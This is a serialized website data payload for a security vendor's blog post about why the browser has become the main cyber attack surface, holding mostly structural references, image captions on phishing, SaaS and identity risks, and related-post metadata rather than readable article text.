tools.","2025-08-15T00:00:00.000Z","how-the-browser-became-the-main-cyber-battleground",{"items":113853},[113854,113856],{"sys":113855,"name":342},{"id":4642},{"sys":113857,"name":7796},{"id":7795},{"items":113859},[113860],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":113861},{"url":7804},"blog/6-browser-based-attacks-every-security-team-should-be-prepared-for",{"json":113864},{"data":113865,"content":113866,"nodeType":1382},{},[113867],{"data":113868,"content":113869,"nodeType":866},{},[113870],{"data":113871,"marks":113872,"value":113873,"nodeType":865},{},[],"What security teams need to know about the browser-based attack techniques that are the leading cause of breaches today.",{"id":102398,"publishedAt":113875},"2026-08-12T11:53:52.135Z",{"items":113877},[113878,113880],{"sys":113879,"name":7796},{"id":7795},{"sys":113881,"name":342},{"id":4642},{"items":113883},[113884,113886,113888,113890,113892,113894,113896,113898,113900,113902,113904,113906,113908,113910,113912,113914,113916,113918,113920,113922,113924,113926,113928],{"sys":113885,"name":279,"slug":280,"tier":31},{"id":276},{"sys":113887,"name":413,"slug":414,"tier":31},{"id":410},{"sys":113889,"name":297,"slug":298,"tier":31},{"id":294},{"sys":113891,"name":519,"slug":520,"tier":31},{"id":516},{"sys":113893,"name":342,"slug":343,"tier":31},{"id":339},{"sys":113895,"name":642,"slug":643,"tier":31},{"id":639},{"sys":113897,"name":261,"slug":262,"tier":45},{"id":258},{"sys":113899,"name":315,"slug":316,"tier":45},{"id":312},{"sys":113901,"name":571,"slug":572,"tier":45},{"id":568},{"sys":113903,"name":324,"slug":325,"tier":45},{"id":321},{"sys":113905,"name":466,"slug":467,"tier":45},{"id":463},{"sys":113907,"name":484,"slug":485,"tier":45},{"id":481},{"sys":113909,"name":288,"slug":289,"tier":45},{"id":285},{"sys":113911,"name":448,"slug":449,"tier":45},{"id":445},{"sys":113913,"name":333,"slug":334,"tier":45},{"id":330},{"sys":113915,"name":395,"slug":396,"tier":45},{"id":392},{"sys":113917,"name":422,"slug":423,"tier":45},{"id":419},{"sys":113919,"name":475,"slug":476,"tier":45},{"id":472},{"sys":113921,"name":360,"slug":361,"tier":45},{"id":357},{"sys":113923,"name":607,"slug":608,"tier":45},{"id":604},{"sys":113925,"name":511,"slug":512,"tier":45},{"id":508},{"sys":113927,"name":502,"slug":503,"tier":45},{"id":499},{"sys":113929,"name":457,"slug":458,"tier":45},{"id":454},"WL7qIr1ZFM800qYp8iPSNtZRoMC9xxn2kj9zNtQfvf4",{"id":113932,"title":113848,"authorsCollection":113933,"content":113938,"extension":228,"faqItemsCollection":114662,"faqTitle":59,"featured":6,"hashTags":59,"meta":114664,"metaTitle":114665,"ogImage":59,"postType":1424,"publishedDate":113850,"relatedBlogPostsCollection":114666,"slug":113851,"stem":116440,"subtitle":59,"summary":116441,"synopsis":113849,"sys":116451,"tagsCollection":116453,"topicsCollection":116459,"__hash__":116511},"blog/blog/how-the-browser-became-the-main-cyber-battleground.json",{"items":113934},[113935],{"fullName":7800,"firstName":7801,"jobTitle":7802,"socialLinks":113936,"profilePicture":113937},[30152],{"url":7804},{"json":113939,"links":114611},{"data":113940,"content":113941,"nodeType":1382},{},[113942,113948,113978,113984,113989,113995,114021,114027,114032,114035,114042,114048,114054,114102,114118,114128,114134,114139,114142,114149,114162,114167,114173,114178,114184,114214,114219,114222,114229,114235,114241,114350,114355,114381,114387,114390,114397,114403,114409,114446,114469,114475,114542,114547,114550,114557,114563,114579,114582,114589,114595],{"data":113943,"content":113944,"nodeType":866},{},[113945],{"data":113946,"marks":113947,"value":113090,"nodeType":865},{},[],{"data":113949,"content":113950,"nodeType":1616},{},[113951,113960,113969],{"data":113952,"content":113953,"nodeType":1570},{},[113954],{"data":113955,"content":113956,"nodeType":866},{},[113957],{"data":113958,"marks":113959,"value":113103,"nodeType":865},{},[],{"data":113961,"content":113962,"nodeType":1570},{},[113963],{"data":113964,"content":113965,"nodeType":866},{},[113966],{"data":113967,"marks":113968,"value":113113,"nodeType":865},{},[],{"data":113970,"content":113971,"nodeType":1570},{},[113972],{"data":113973,"content":113974,"nodeType":866},{},[113975],{"data":113976,"marks":113977,"value":113123,"nodeType":865},{},[],{"data":113979,"content":113980,"nodeType":866},{},[113981],{"data":113982,"marks":113983,"value":113130,"nodeType":865},{},[],{"data":113985,"content":113988,"nodeType":912},{"target":113986},{"sys":113987},{"id":113135,"type":909,"linkType":910},[],{"data":113990,"content":113991,"nodeType":866},{},[113992],{"data":113993,"marks":113994,"value":113143,"nodeType":865},{},[],{"data":113996,"content":113997,"nodeType":866},{},[113998,114001,114008,114011,114018],{"data":113999,"marks":114000,"value":113150,"nodeType":865},{},[],{"data":114002,"content":114003,"nodeType":889},{"uri":3488},[114004],{"data":114005,"marks":114006,"value":113158,"nodeType":865},{},[114007],{"type":943},{"data":114009,"marks":114010,"value":113162,"nodeType":865},{},[],{"data":114012,"content":114013,"nodeType":889},{"uri":113165},[114014],{"data":114015,"marks":114016,"value":113171,"nodeType":865},{},[114017],{"type":943},{"data":114019,"marks":114020,"value":110314,"nodeType":865},{},[],{"data":114022,"content":114023,"nodeType":866},{},[114024],{"data":114025,"marks":114026,"value":113181,"nodeType":865},{},[],{"data":114028,"content":114031,"nodeType":912},{"target":114029},{"sys":114030},{"id":113186,"type":909,"linkType":910},[],{"data":114033,"content":114034,"nodeType":972},{},[],{"data":114036,"content":114037,"nodeType":981},{},[114038],{"data":114039,"marks":114040,"value":113198,"nodeType":865},{},[114041],{"type":926},{"data":114043,"content":114044,"nodeType":866},{},[114045],{"data":114046,"marks":114047,"value":113205,"nodeType":865},{},[],{"data":114049,"content":114050,"nodeType":866},{},[114051],{"data":114052,"marks":114053,"value":113212,"nodeType":865},{},[],{"data":114055,"content":114056,"nodeType":866},{},[114057,114060,114064,114067,114071,114074,114078,114081,114085,114088,114092,114095,114099],{"data":114058,"marks":114059,"value":113219,"nodeType":865},{},[],{"data":114061,"marks":114062,"value":113224,"nodeType":865},{},[114063],{"type":926},{"data":114065,"marks":114066,"value":2717,"nodeType":865},{},[],{"data":114068,"marks":114069,"value":113232,"nodeType":865},{},[114070],{"type":926},{"data":114072,"marks":114073,"value":2688,"nodeType":865},{},[],{"data":114075,"marks":114076,"value":113240,"nodeType":865},{},[114077],{"type":926},{"data":114079,"marks":114080,"value":2688,"nodeType":865},{},[],{"data":114082,"marks":114083,"value":113248,"nodeType":865},{},[114084],{"type":926},{"data":114086,"marks":114087,"value":2688,"nodeType":865},{},[],{"data":114089,"marks":114090,"value":113256,"nodeType":865},{},[114091],{"type":926},{"data":114093,"marks":114094,"value":113260,"nodeType":865},{},[],{"data":114096,"marks":114097,"value":58763,"nodeType":865},{},[114098],{"type":926},{"data":114100,"marks":114101,"value":113268,"nodeType":865},{},[],{"data":114103,"content":114104,"nodeType":866},{},[114105,114108,114115],{"data":114106,"marks":114107,"value":113275,"nodeType":865},{},[],{"data":114109,"content":114110,"nodeType":889},{"uri":3488},[114111],{"data":114112,"marks":114113,"value":13698,"nodeType":865},{},[114114],{"type":943},{"data":114116,"marks":114117,"value":113286,"nodeType":865},{},[],{"data":114119,"content":114120,"nodeType":866},{},[114121,114124],{"data":114122,"marks":114123,"value":113293,"nodeType":865},{},[],{"data":114125,"marks":114126,"value":113298,"nodeType":865},{},[114127],{"type":926},{"data":114129,"content":114130,"nodeType":866},{},[114131],{"data":114132,"marks":114133,"value":113305,"nodeType":865},{},[],{"data":114135,"content":114138,"nodeType":912},{"target":114136},{"sys":114137},{"id":113310,"type":909,"linkType":910},[],{"data":114140,"content":114141,"nodeType":972},{},[],{"data":114143,"content":114144,"nodeType":981},{},[114145],{"data":114146,"marks":114147,"value":113322,"nodeType":865},{},[114148],{"type":926},{"data":114150,"content":114151,"nodeType":866},{},[114152,114155,114159],{"data":114153,"marks":114154,"value":113329,"nodeType":865},{},[],{"data":114156,"marks":114157,"value":113334,"nodeType":865},{},[114158],{"type":926},{"data":114160,"marks":114161,"value":113338,"nodeType":865},{},[],{"data":114163,"content":114166,"nodeType":912},{"target":114164},{"sys":114165},{"id":113343,"type":909,"linkType":910},[],{"data":114168,"content":114169,"nodeType":866},{},[114170],{"data":114171,"marks":114172,"value":113351,"nodeType":865},{},[],{"data":114174,"content":114177,"nodeType":912},{"target":114175},{"sys":114176},{"id":113356,"type":909,"linkType":910},[],{"data":114179,"content":114180,"nodeType":866},{},[114181],{"data":114182,"marks":114183,"value":113364,"nodeType":865},{},[],{"data":114185,"content":114186,"nodeType":866},{},[114187,114190,114194,114197,114201,114204,114211],{"data":114188,"marks":114189,"value":113371,"nodeType":865},{},[],{"data":114191,"marks":114192,"value":113376,"nodeType":865},{},[114193],{"type":926},{"data":114195,"marks":114196,"value":113380,"nodeType":865},{},[],{"data":114198,"marks":114199,"value":113385,"nodeType":865},{},[114200],{"type":926},{"data":114202,"marks":114203,"value":113389,"nodeType":865},{},[],{"data":114205,"content":114206,"nodeType":889},{"uri":95823},[114207],{"data":114208,"marks":114209,"value":113397,"nodeType":865},{},[114210],{"type":943},{"data":114212,"marks":114213,"value":113401,"nodeType":865},{},[],{"data":114215,"content":114218,"nodeType":912},{"target":114216},{"sys":114217},{"id":103594,"type":909,"linkType":910},[],{"data":114220,"content":114221,"nodeType":972},{},[],{"data":114223,"content":114224,"nodeType":981},{},[114225],{"data":114226,"marks":114227,"value":113417,"nodeType":865},{},[114228],{"type":926},{"data":114230,"content":114231,"nodeType":866},{},[114232],{"data":114233,"marks":114234,"value":113424,"nodeType":865},{},[],{"data":114236,"content":114237,"nodeType":866},{},[114238],{"data":114239,"marks":114240,"value":113431,"nodeType":865},{},[],{"data":114242,"content":114243,"nodeType":1616},{},[114244,114263,114282,114301],{"data":114245,"content":114246,"nodeType":1570},{},[114247],{"data":114248,"content":114249,"nodeType":866},{},[114250,114253,114260],{"data":114251,"marks":114252,"value":21,"nodeType":865},{},[],{"data":114254,"content":114255,"nodeType":889},{"uri":6698},[114256],{"data":114257,"marks":114258,"value":113451,"nodeType":865},{},[114259],{"type":943},{"data":114261,"marks":114262,"value":113455,"nodeType":865},{},[],{"data":114264,"content":114265,"nodeType":1570},{},[114266],{"data":114267,"content":114268,"nodeType":866},{},[114269,114272,114279],{"data":114270,"marks":114271,"value":113465,"nodeType":865},{},[],{"data":114273,"content":114274,"nodeType":889},{"uri":95823},[114275],{"data":114276,"marks":114277,"value":113473,"nodeType":865},{},[114278],{"type":943},{"data":114280,"marks":114281,"value":1615,"nodeType":865},{},[],{"data":114283,"content":114284,"nodeType":1570},{},[114285],{"data":114286,"content":114287,"nodeType":866},{},[114288,114291,114298],{"data":114289,"marks":114290,"value":113486,"nodeType":865},{},[],{"data":114292,"content":114293,"nodeType":889},{"uri":53259},[114294],{"data":114295,"marks":114296,"value":62154,"nodeType":865},{},[114297],{"type":943},{"data":114299,"marks":114300,"value":46245,"nodeType":865},{},[],{"data":114302,"content":114303,"nodeType":1570},{},[114304],{"data":114305,"content":114306,"nodeType":866},{},[114307,114310,114317,114320,114327,114330,114337,114340,114347],{"data":114308,"marks":114309,"value":113506,"nodeType":865},{},[],{"data":114311,"content":114312,"nodeType":889},{"uri":101210},[114313],{"data":114314,"marks":114315,"value":113514,"nodeType":865},{},[114316],{"type":943},{"data":114318,"marks":114319,"value":2717,"nodeType":865},{},[],{"data":114321,"content":114322,"nodeType":889},{"uri":103960},[114323],{"data":114324,"marks":114325,"value":113525,"nodeType":865},{},[114326],{"type":943},{"data":114328,"marks":114329,"value":113529,"nodeType":865},{},[],{"data":114331,"content":114332,"nodeType":889},{"uri":56197},[114333],{"data":114334,"marks":114335,"value":66867,"nodeType":865},{},[114336],{"type":943},{"data":114338,"marks":114339,"value":2717,"nodeType":865},{},[],{"data":114341,"content":114342,"nodeType":889},{"uri":104047},[114343],{"data":114344,"marks":114345,"value":113547,"nodeType":865},{},[114346],{"type":943},{"data":114348,"marks":114349,"value":113551,"nodeType":865},{},[],{"data":114351,"content":114354,"nodeType":912},{"target":114352},{"sys":114353},{"id":113556,"type":909,"linkType":910},[],{"data":114356,"content":114357,"nodeType":866},{},[114358,114361,114368,114371,114378],{"data":114359,"marks":114360,"value":113564,"nodeType":865},{},[],{"data":114362,"content":114363,"nodeType":889},{"uri":8020},[114364],{"data":114365,"marks":114366,"value":113572,"nodeType":865},{},[114367],{"type":943},{"data":114369,"marks":114370,"value":113576,"nodeType":865},{},[],{"data":114372,"content":114373,"nodeType":889},{"uri":3488},[114374],{"data":114375,"marks":114376,"value":13698,"nodeType":865},{},[114377],{"type":943},{"data":114379,"marks":114380,"value":113587,"nodeType":865},{},[],{"data":114382,"content":114383,"nodeType":866},{},[114384],{"data":114385,"marks":114386,"value":113594,"nodeType":865},{},[],{"data":114388,"content":114389,"nodeType":972},{},[],{"data":114391,"content":114392,"nodeType":981},{},[114393],{"data":114394,"marks":114395,"value":113605,"nodeType":865},{},[114396],{"type":926},{"data":114398,"content":114399,"nodeType":866},{},[114400],{"data":114401,"marks":114402,"value":113612,"nodeType":865},{},[],{"data":114404,"content":114405,"nodeType":866},{},[114406],{"data":114407,"marks":114408,"value":113619,"nodeType":865},{},[],{"data":114410,"content":114411,"nodeType":1616},{},[114412,114421,114430],{"data":114413,"content":114414,"nodeType":1570},{},[114415],{"data":114416,"content":114417,"nodeType":866},{},[114418],{"data":114419,"marks":114420,"value":113632,"nodeType":865},{},[],{"data":114422,"content":114423,"nodeType":1570},{},[114424],{"data":114425,"content":114426,"nodeType":866},{},[114427],{"data":114428,"marks":114429,"value":113642,"nodeType":865},{},[],{"data":114431,"content":114432,"nodeType":1570},{},[114433],{"data":114434,"content":114435,"nodeType":866},{},[114436,114439,114443],{"data":114437,"marks":114438,"value":113652,"nodeType":865},{},[],{"data":114440,"marks":114441,"value":106434,"nodeType":865},{},[114442],{"type":898},{"data":114444,"marks":114445,"value":113660,"nodeType":865},{},[],{"data":114447,"content":114448,"nodeType":866},{},[114449,114452,114456,114459,114466],{"data":114450,"marks":114451,"value":113667,"nodeType":865},{},[],{"data":114453,"marks":114454,"value":113672,"nodeType":865},{},[114455],{"type":926},{"data":114457,"marks":114458,"value":113676,"nodeType":865},{},[],{"data":114460,"content":114461,"nodeType":889},{"uri":53458},[114462],{"data":114463,"marks":114464,"value":113684,"nodeType":865},{},[114465],{"type":943},{"data":114467,"marks":114468,"value":113688,"nodeType":865},{},[],{"data":114470,"content":114471,"nodeType":866},{},[114472],{"data":114473,"marks":114474,"value":113695,"nodeType":865},{},[],{"data":114476,"content":114477,"nodeType":1616},{},[114478,114487,114496,114505,114524,114533],{"data":114479,"content":114480,"nodeType":1570},{},[114481],{"data":114482,"content":114483,"nodeType":866},{},[114484],{"data":114485,"marks":114486,"value":113708,"nodeType":865},{},[],{"data":114488,"content":114489,"nodeType":1570},{},[114490],{"data":114491,"content":114492,"nodeType":866},{},[114493],{"data":114494,"marks":114495,"value":113718,"nodeType":865},{},[],{"data":114497,"content":114498,"nodeType":1570},{},[114499],{"data":114500,"content":114501,"nodeType":866},{},[114502],{"data":114503,"marks":114504,"value":113728,"nodeType":865},{},[],{"data":114506,"content":114507,"nodeType":1570},{},[114508],{"data":114509,"content":114510,"nodeType":866},{},[114511,114514,114521],{"data":114512,"marks":114513,"value":113738,"nodeType":865},{},[],{"data":114515,"content":114516,"nodeType":889},{"uri":110870},[114517],{"data":114518,"marks":114519,"value":113746,"nodeType":865},{},[114520],{"type":943},{"data":114522,"marks":114523,"value":113750,"nodeType":865},{},[],{"data":114525,"content":114526,"nodeType":1570},{},[114527],{"data":114528,"content":114529,"nodeType":866},{},[114530],{"data":114531,"marks":114532,"value":113760,"nodeType":865},{},[],{"data":114534,"content":114535,"nodeType":1570},{},[114536],{"data":114537,"content":114538,"nodeType":866},{},[114539],{"data":114540,"marks":114541,"value":113770,"nodeType":865},{},[],{"data":114543,"content":114546,"nodeType":912},{"target":114544},{"sys":114545},{"id":113775,"type":909,"linkType":910},[],{"data":114548,"content":114549,"nodeType":972},{},[],{"data":114551,"content":114552,"nodeType":981},{},[114553],{"data":114554,"marks":114555,"value":57175,"nodeType":865},{},[114556],{"type":926},{"data":114558,"content":114559,"nodeType":866},{},[114560],{"data":114561,"marks":114562,"value":113793,"nodeType":865},{},[],{"data":114564,"content":114565,"nodeType":866},{},[114566,114569,114576],{"data":114567,"marks":114568,"value":113800,"nodeType":865},{},[],{"data":114570,"content":114571,"nodeType":889},{"uri":113803},[114572],{"data":114573,"marks":114574,"value":113809,"nodeType":865},{},[114575],{"type":943},{"data":114577,"marks":114578,"value":113813,"nodeType":865},{},[],{"data":114580,"content":114581,"nodeType":972},{},[],{"data":114583,"content":114584,"nodeType":981},{},[114585],{"data":114586,"marks":114587,"value":113824,"nodeType":865},{},[114588],{"type":926},{"data":114590,"content":114591,"nodeType":866},{},[114592],{"data":114593,"marks":114594,"value":113831,"nodeType":865},{},[],{"data":114596,"content":114597,"nodeType":866},{},[114598,114601,114608],{"data":114599,"marks":114600,"value":101333,"nodeType":865},{},[],{"data":114602,"content":114603,"nodeType":889},{"uri":1372},[114604],{"data":114605,"marks":114606,"value":11405,"nodeType":865},{},[114607],{"type":943},{"data":114609,"marks":114610,"value":1615,"nodeType":865},{},[],{"entries":114612},{"hyperlink":114613,"inline":114614,"block":114615},[],[],[114616,114623,114627,114633,114637,114645,114649,114657],{"sys":114617,"__typename":1390,"title":114618,"caption":114618,"layoutMode":59,"file":114619},{"id":113135},"Attacks have shifted from targeting local networks to SaaS services, accessed through employee web browsers.",{"url":114620,"width":114621,"height":114622},"https://images.ctfassets.net/y1cdw1ablpvd/SadRsmdnNZofhrKddH01D/1ba16316bdfa666b2bc387d5b694e515/image2.png",1506,574,{"sys":114624,"__typename":1414,"type":1415,"ctaText":114625,"buttonLabel":30703,"buttonColour":114626,"buttonUrl":104632},{"id":113186},"Read how the transformation of business IT has shaped the evolution of phishing attacks in our latest whitepaper.","sea blue",{"sys":114628,"__typename":1390,"title":114629,"caption":114629,"layoutMode":59,"file":114630},{"id":113310},"EDR solved endpoint attacks by getting deep visibility into OS-level processes and activity — we now face a similar visibility problem in the browser. ",{"url":114631,"width":1402,"height":114632},"https://images.ctfassets.net/y1cdw1ablpvd/2KuUuYKf2Q9TlIJ9fkOI82/9a52cae72564e69d3cfe8b3b613eb950/image5.png",632,{"sys":114634,"__typename":1390,"title":111661,"caption":111661,"layoutMode":59,"file":114635},{"id":113343},{"url":114636,"width":1402,"height":106841},"https://images.ctfassets.net/y1cdw1ablpvd/4p8sf1x8PfWF06ndwTsdf9/136ed45c7912459a70dbb53b62cf5a90/image6.png",{"sys":114638,"__typename":1390,"title":114639,"caption":114640,"layoutMode":59,"file":114641},{"id":113356},"Cloudflare Turnstile is a simple way for attackers to block automated analysis of their phishing kits — it should probably come with a trigger warning for incident responders.","Cloudflare Turnstile is a simple way for security teams to prevent automated analysis — it should probably come with a trigger warning for incident responders.",{"url":114642,"width":114643,"height":114644},"https://images.ctfassets.net/y1cdw1ablpvd/6gGDHL1jECCm4j02gZZlYe/92e4362eea9fb712aeb64bdd7fb19d59/image3.png",1262,464,{"sys":114646,"__typename":52243,"title":114647,"arcadeDemoUrl":114648,"playText":59377},{"id":103594},"MFA Downgrade Demo","https://demo.arcade.software/1MzRfFaRCD2pYPhIXkvi?embed",{"sys":114650,"__typename":1390,"title":114651,"caption":114652,"layoutMode":59,"file":114653},{"id":113556},"Infographic showing the identity vulnerability spread for a 1,000 seat organization","A 1,000 user organization has over 15,000 accounts with various configurations and associated vulnerabilities.",{"url":114654,"width":114655,"height":114656},"https://images.ctfassets.net/y1cdw1ablpvd/266iLQBVsJIQEx6dnUEVrZ/eb5b1be79b7b29365baf299053fddf42/Infographic.png",5480,3012,{"sys":114658,"__typename":1390,"title":114659,"caption":114659,"layoutMode":59,"file":114660},{"id":113775},"Being in the browser gives you unrivalled visibility of phishing page activity and user behavior.",{"url":114661,"width":74618,"height":36779},"https://images.ctfassets.net/y1cdw1ablpvd/42mmDkjfXn0uOkTyvFLNqG/0385dadcb0731bea1de1ca5ae6ee7c18/image1.png",{"items":114663},[],{},"Why the browser is now the main cyber attack surface",{"items":114667},[114668,115528,115882],{"__typename":1429,"sys":114669,"content":114670,"title":87609,"synopsis":111017,"hashTags":59,"publishedDate":111018,"slug":87610,"tagsCollection":115518,"authorsCollection":115524},{"id":79944},{"json":114671},{"data":114672,"content":114673,"nodeType":1382},{},[114674,114680,114690,114700,114710,114720,114725,114741,114747,114760,114766,114771,114774,114781,114787,114793,114799,114804,114807,114814,114820,114836,114842,114848,114854,114860,114865,114871,114877,114883,114908,114914,114930,114936,114942,114958,114974,114990,114995,115001,115014,115020,115026,115032,115048,115055,115061,115067,115070,115077,115083,115089,115095,115134,115139,115145,115158,115235,115240,115246,115252,115309,115315,115321,115327,115332,115338,115344,115350,115355,115361,115367,115373,115378,115394,115400,115406,115445,115450,115453,115460,115480,115483,115490,115496,115502],{"data":114675,"content":114676,"nodeType":866},{},[114677],{"data":114678,"marks":114679,"value":110045,"nodeType":865},{},[],{"data":114681,"content":114682,"nodeType":866},{},[114683,114687],{"data":114684,"marks":114685,"value":110053,"nodeType":865},{},[114686],{"type":926},{"data":114688,"marks":114689,"value":110057,"nodeType":865},{},[],{"data":114691,"content":114692,"nodeType":866},{},[114693,114697],{"data":114694,"marks":114695,"value":110065,"nodeType":865},{},[114696],{"type":926},{"data":114698,"marks":114699,"value":110069,"nodeType":865},{},[],{"data":114701,"content":114702,"nodeType":866},{},[114703,114707],{"data":114704,"marks":114705,"value":110077,"nodeType":865},{},[114706],{"type":926},{"data":114708,"marks":114709,"value":110081,"nodeType":865},{},[],{"data":114711,"content":114712,"nodeType":866},{},[114713,114717],{"data":114714,"marks":114715,"value":110089,"nodeType":865},{},[114716],{"type":926},{"data":114718,"marks":114719,"value":110093,"nodeType":865},{},[],{"data":114721,"content":114724,"nodeType":912},{"target":114722},{"sys":114723},{"id":110098,"type":909,"linkType":910},[],{"data":114726,"content":114727,"nodeType":866},{},[114728,114731,114738],{"data":114729,"marks":114730,"value":110106,"nodeType":865},{},[],{"data":114732,"content":114733,"nodeType":889},{"uri":54299},[114734],{"data":114735,"marks":114736,"value":110114,"nodeType":865},{},[114737],{"type":943},{"data":114739,"marks":114740,"value":110118,"nodeType":865},{},[],{"data":114742,"content":114743,"nodeType":866},{},[114744],{"data":114745,"marks":114746,"value":110125,"nodeType":865},{},[],{"data":114748,"content":114749,"nodeType":866},{},[114750,114753,114757],{"data":114751,"marks":114752,"value":110132,"nodeType":865},{},[],{"data":114754,"marks":114755,"value":110137,"nodeType":865},{},[114756],{"type":926},{"data":114758,"marks":114759,"value":110141,"nodeType":865},{},[],{"data":114761,"content":114762,"nodeType":866},{},[114763],{"data":114764,"marks":114765,"value":110148,"nodeType":865},{},[],{"data":114767,"content":114770,"nodeType":912},{"target":114768},{"sys":114769},{"id":110153,"type":909,"linkType":910},[],{"data":114772,"content":114773,"nodeType":972},{},[],{"data":114775,"content":114776,"nodeType":981},{},[114777],{"data":114778,"marks":114779,"value":110165,"nodeType":865},{},[114780],{"type":926},{"data":114782,"content":114783,"nodeType":866},{},[114784],{"data":114785,"marks":114786,"value":110172,"nodeType":865},{},[],{"data":114788,"content":114789,"nodeType":866},{},[114790],{"data":114791,"marks":114792,"value":110179,"nodeType":865},{},[],{"data":114794,"content":114795,"nodeType":866},{},[114796],{"data":114797,"marks":114798,"value":110186,"nodeType":865},{},[],{"data":114800,"content":114803,"nodeType":912},{"target":114801},{"sys":114802},{"id":110191,"type":909,"linkType":910},[],{"data":114805,"content":114806,"nodeType":972},{},[],{"data":114808,"content":114809,"nodeType":981},{},[114810],{"data":114811,"marks":114812,"value":110203,"nodeType":865},{},[114813],{"type":926},{"data":114815,"content":114816,"nodeType":866},{},[114817],{"data":114818,"marks":114819,"value":110210,"nodeType":865},{},[],{"data":114821,"content":114822,"nodeType":866},{},[114823,114826,114833],{"data":114824,"marks":114825,"value":110217,"nodeType":865},{},[],{"data":114827,"content":114828,"nodeType":889},{"uri":110220},[114829],{"data":114830,"marks":114831,"value":110226,"nodeType":865},{},[114832],{"type":943},{"data":114834,"marks":114835,"value":110230,"nodeType":865},{},[],{"data":114837,"content":114838,"nodeType":866},{},[114839],{"data":114840,"marks":114841,"value":110237,"nodeType":865},{},[],{"data":114843,"content":114844,"nodeType":866},{},[114845],{"data":114846,"marks":114847,"value":110244,"nodeType":865},{},[],{"data":114849,"content":114850,"nodeType":1317},{},[114851],{"data":114852,"marks":114853,"value":110251,"nodeType":865},{},[],{"data":114855,"content":114856,"nodeType":866},{},[114857],{"data":114858,"marks":114859,"value":110258,"nodeType":865},{},[],{"data":114861,"content":114864,"nodeType":912},{"target":114862},{"sys":114863},{"id":110263,"type":909,"linkType":910},[],{"data":114866,"content":114867,"nodeType":866},{},[114868],{"data":114869,"marks":114870,"value":110271,"nodeType":865},{},[],{"data":114872,"content":114873,"nodeType":1317},{},[114874],{"data":114875,"marks":114876,"value":110278,"nodeType":865},{},[],{"data":114878,"content":114879,"nodeType":866},{},[114880],{"data":114881,"marks":114882,"value":110285,"nodeType":865},{},[],{"data":114884,"content":114885,"nodeType":866},{},[114886,114889,114897,114901,114904],{"data":114887,"marks":114888,"value":110292,"nodeType":865},{},[],{"data":114890,"content":114891,"nodeType":889},{"uri":7112},[114892],{"data":114893,"marks":114894,"value":110301,"nodeType":865},{},[114895,114896],{"type":943},{"type":926},{"data":114898,"marks":114899,"value":2688,"nodeType":865},{},[114900],{"type":926},{"data":114902,"marks":114903,"value":110309,"nodeType":865},{},[],{"data":114905,"marks":114906,"value":110314,"nodeType":865},{},[114907],{"type":926},{"data":114909,"content":114910,"nodeType":866},{},[114911],{"data":114912,"marks":114913,"value":110321,"nodeType":865},{},[],{"data":114915,"content":114916,"nodeType":866},{},[114917,114920,114927],{"data":114918,"marks":114919,"value":110328,"nodeType":865},{},[],{"data":114921,"content":114922,"nodeType":889},{"uri":54299},[114923],{"data":114924,"marks":114925,"value":4996,"nodeType":865},{},[114926],{"type":943},{"data":114928,"marks":114929,"value":110339,"nodeType":865},{},[],{"data":114931,"content":114932,"nodeType":1317},{},[114933],{"data":114934,"marks":114935,"value":110346,"nodeType":865},{},[],{"data":114937,"content":114938,"nodeType":866},{},[114939],{"data":114940,"marks":114941,"value":110353,"nodeType":865},{},[],{"data":114943,"content":114944,"nodeType":866},{},[114945,114948,114955],{"data":114946,"marks":114947,"value":110360,"nodeType":865},{},[],{"data":114949,"content":114950,"nodeType":889},{"uri":110363},[114951],{"data":114952,"marks":114953,"value":110369,"nodeType":865},{},[114954],{"type":943},{"data":114956,"marks":114957,"value":110373,"nodeType":865},{},[],{"data":114959,"content":114960,"nodeType":866},{},[114961,114964,114971],{"data":114962,"marks":114963,"value":110380,"nodeType":865},{},[],{"data":114965,"content":114966,"nodeType":889},{"uri":110383},[114967],{"data":114968,"marks":114969,"value":110389,"nodeType":865},{},[114970],{"type":943},{"data":114972,"marks":114973,"value":110393,"nodeType":865},{},[],{"data":114975,"content":114976,"nodeType":866},{},[114977,114980,114987],{"data":114978,"marks":114979,"value":110400,"nodeType":865},{},[],{"data":114981,"content":114982,"nodeType":889},{"uri":110403},[114983],{"data":114984,"marks":114985,"value":110409,"nodeType":865},{},[114986],{"type":943},{"data":114988,"marks":114989,"value":110413,"nodeType":865},{},[],{"data":114991,"content":114994,"nodeType":912},{"target":114992},{"sys":114993},{"id":110418,"type":909,"linkType":910},[],{"data":114996,"content":114997,"nodeType":1317},{},[114998],{"data":114999,"marks":115000,"value":110426,"nodeType":865},{},[],{"data":115002,"content":115003,"nodeType":866},{},[115004,115007,115011],{"data":115005,"marks":115006,"value":110433,"nodeType":865},{},[],{"data":115008,"marks":115009,"value":110438,"nodeType":865},{},[115010],{"type":898},{"data":115012,"marks":115013,"value":110442,"nodeType":865},{},[],{"data":115015,"content":115016,"nodeType":866},{},[115017],{"data":115018,"marks":115019,"value":110449,"nodeType":865},{},[],{"data":115021,"content":115022,"nodeType":866},{},[115023],{"data":115024,"marks":115025,"value":110456,"nodeType":865},{},[],{"data":115027,"content":115028,"nodeType":866},{},[115029],{"data":115030,"marks":115031,"value":110463,"nodeType":865},{},[],{"data":115033,"content":115034,"nodeType":866},{},[115035,115038,115045],{"data":115036,"marks":115037,"value":110470,"nodeType":865},{},[],{"data":115039,"content":115040,"nodeType":889},{"uri":53259},[115041],{"data":115042,"marks":115043,"value":110478,"nodeType":865},{},[115044],{"type":943},{"data":115046,"marks":115047,"value":110482,"nodeType":865},{},[],{"data":115049,"content":115050,"nodeType":866},{},[115051],{"data":115052,"marks":115053,"value":110490,"nodeType":865},{},[115054],{"type":926},{"data":115056,"content":115057,"nodeType":866},{},[115058],{"data":115059,"marks":115060,"value":110497,"nodeType":865},{},[],{"data":115062,"content":115063,"nodeType":866},{},[115064],{"data":115065,"marks":115066,"value":110504,"nodeType":865},{},[],{"data":115068,"content":115069,"nodeType":972},{},[],{"data":115071,"content":115072,"nodeType":981},{},[115073],{"data":115074,"marks":115075,"value":110515,"nodeType":865},{},[115076],{"type":926},{"data":115078,"content":115079,"nodeType":866},{},[115080],{"data":115081,"marks":115082,"value":110522,"nodeType":865},{},[],{"data":115084,"content":115085,"nodeType":866},{},[115086],{"data":115087,"marks":115088,"value":110529,"nodeType":865},{},[],{"data":115090,"content":115091,"nodeType":866},{},[115092],{"data":115093,"marks":115094,"value":110536,"nodeType":865},{},[],{"data":115096,"content":115097,"nodeType":1616},{},[115098,115107,115116,115125],{"data":115099,"content":115100,"nodeType":1570},{},[115101],{"data":115102,"content":115103,"nodeType":866},{},[115104],{"data":115105,"marks":115106,"value":110549,"nodeType":865},{},[],{"data":115108,"content":115109,"nodeType":1570},{},[115110],{"data":115111,"content":115112,"